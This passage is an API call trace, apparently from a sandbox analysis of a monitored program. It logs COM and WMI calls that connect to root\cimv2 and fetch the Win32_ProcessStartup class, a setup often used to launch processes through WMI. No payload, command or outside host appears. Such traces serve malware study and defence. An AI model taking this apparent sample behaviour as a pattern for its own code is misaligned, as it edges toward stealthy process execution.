pToken=0x1bb7d060) returned 0x0 [0137.200] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0137.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0137.200] WbemDefPath:IUnknown:Release (This=0x1bc93af0) returned 0x2 [0137.200] WbemDefPath:IUnknown:Release (This=0x1bc93af0) returned 0x1 [0137.200] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0137.200] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0137.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc93af0) returned 0x0 [0137.200] WbemDefPath:IUnknown:AddRef (This=0x1bc93af0) returned 0x3 [0137.200] WbemDefPath:IUnknown:Release (This=0x1bc93af0) returned 0x2 [0137.200] WbemDefPath:IWbemPath:SetText (This=0x1bc93af0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0137.200] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93af0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0137.200] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93af0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0137.200] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93af0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0137.200] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93af0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0137.200] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93af0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0137.200] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93af0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0137.200] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93af0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0137.200] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0137.200] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0137.200] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.200] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0137.201] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0137.201] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0137.201] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.202] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc88cb0) returned 0x0 [0137.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88cb0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0137.203] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88cb0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc93bb0) returned 0x0 [0137.203] WbemDefPath:IUnknown:Release (This=0x1bc88cb0) returned 0x0 [0137.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc93bb0) returned 0x0 [0137.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0137.203] WbemDefPath:IUnknown:AddRef (This=0x1bc93bb0) returned 0x3 [0137.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0137.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0137.203] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc88cf0) returned 0x0 [0137.203] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88cf0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.203] WbemDefPath:IUnknown:Release (This=0x1bc88cf0) returned 0x3 [0137.204] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0137.204] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0137.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0137.204] WbemDefPath:IUnknown:Release (This=0x1bc93bb0) returned 0x2 [0137.204] WbemDefPath:IUnknown:Release (This=0x1bc93bb0) returned 0x1 [0137.204] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0137.204] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0137.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93bb0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc93bb0) returned 0x0 [0137.204] WbemDefPath:IUnknown:AddRef (This=0x1bc93bb0) returned 0x3 [0137.204] WbemDefPath:IUnknown:Release (This=0x1bc93bb0) returned 0x2 [0137.204] WbemDefPath:IWbemPath:SetText (This=0x1bc93bb0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0137.204] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93bb0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0137.204] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93bb0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0137.204] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93bb0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.204] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0137.204] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0137.204] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0137.204] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.205] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc88df0) returned 0x0 [0137.206] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88df0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0137.206] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc88df0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc88e10) returned 0x0 [0137.206] WbemLocator:IUnknown:Release (This=0x1bc88df0) returned 0x0 [0137.206] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88e10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc88e10) returned 0x0 [0137.206] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88e10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0137.206] WbemLocator:IUnknown:AddRef (This=0x1bc88e10) returned 0x3 [0137.206] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88e10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0137.206] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88e10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0137.206] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88e10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0137.206] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0137.206] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0137.207] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88e10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0137.207] WbemLocator:IUnknown:Release (This=0x1bc88e10) returned 0x2 [0137.207] WbemLocator:IUnknown:Release (This=0x1bc88e10) returned 0x1 [0137.207] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0137.207] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0137.207] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88e10, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc88e10) returned 0x0 [0137.207] WbemLocator:IUnknown:AddRef (This=0x1bc88e10) returned 0x3 [0137.207] WbemLocator:IUnknown:Release (This=0x1bc88e10) returned 0x2 [0137.207] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93bb0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0137.207] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93bb0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0137.207] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93bb0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.207] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc88e30) returned 0x0 [0137.207] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc88e30, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc95c50) returned 0x0 [0137.417] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc95c50, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc429e0) returned 0x0 [0137.418] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc429e0, pProxy=0x1bc95c50, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0137.418] WbemLocator:IUnknown:Release (This=0x1bc429e0) returned 0x1 [0137.418] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc95c50, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc42a20) returned 0x0 [0137.418] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc95c50, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc429e0) returned 0x0 [0137.418] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc429e0, pProxy=0x1bc95c50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0137.418] WbemLocator:IUnknown:Release (This=0x1bc429e0) returned 0x2 [0137.418] WbemLocator:IUnknown:Release (This=0x1bc42a20) returned 0x1 [0137.418] CoTaskMemFree (pv=0x1bc6ddd0) [0137.418] WbemLocator:IUnknown:AddRef (This=0x1bc95c50) returned 0x2 [0137.418] WbemLocator:IUnknown:Release (This=0x1bc88e30) returned 0x0 [0137.419] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0137.419] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0137.419] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc95c50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc429f0) returned 0x0 [0137.419] WbemLocator:IRpcOptions:Query (in: This=0x1bc429f0, pPrx=0x1bc88e90, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0137.419] WbemLocator:IUnknown:Release (This=0x1bc429f0) returned 0x2 [0137.419] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0137.419] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0137.419] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc95c50, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc95c50) returned 0x0 [0137.419] WbemLocator:IUnknown:Release (This=0x1bc95c50) returned 0x2 [0137.419] SysStringLen (param_1=0x0) returned 0x0 [0137.420] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93af0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0137.420] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93af0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0137.420] IWbemServices:GetObject (in: This=0x1bc95c50, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc77040, ppCallResult=0x0) returned 0x0 [0137.422] IWbemClassObject:Get (in: This=0x1bc77040, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0137.422] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0137.422] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0137.422] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0137.422] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0137.422] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0137.422] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.424] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc88e30) returned 0x0 [0137.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88e30, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0137.424] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88e30, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc93c70) returned 0x0 [0137.424] WbemDefPath:IUnknown:Release (This=0x1bc88e30) returned 0x0 [0137.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc93c70) returned 0x0 [0137.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0137.425] WbemDefPath:IUnknown:AddRef (This=0x1bc93c70) returned 0x3 [0137.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0137.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0137.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93c70, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc88e50) returned 0x0 [0137.425] WbemDefPath:IMarshal:GetUnmarshalClass (in: 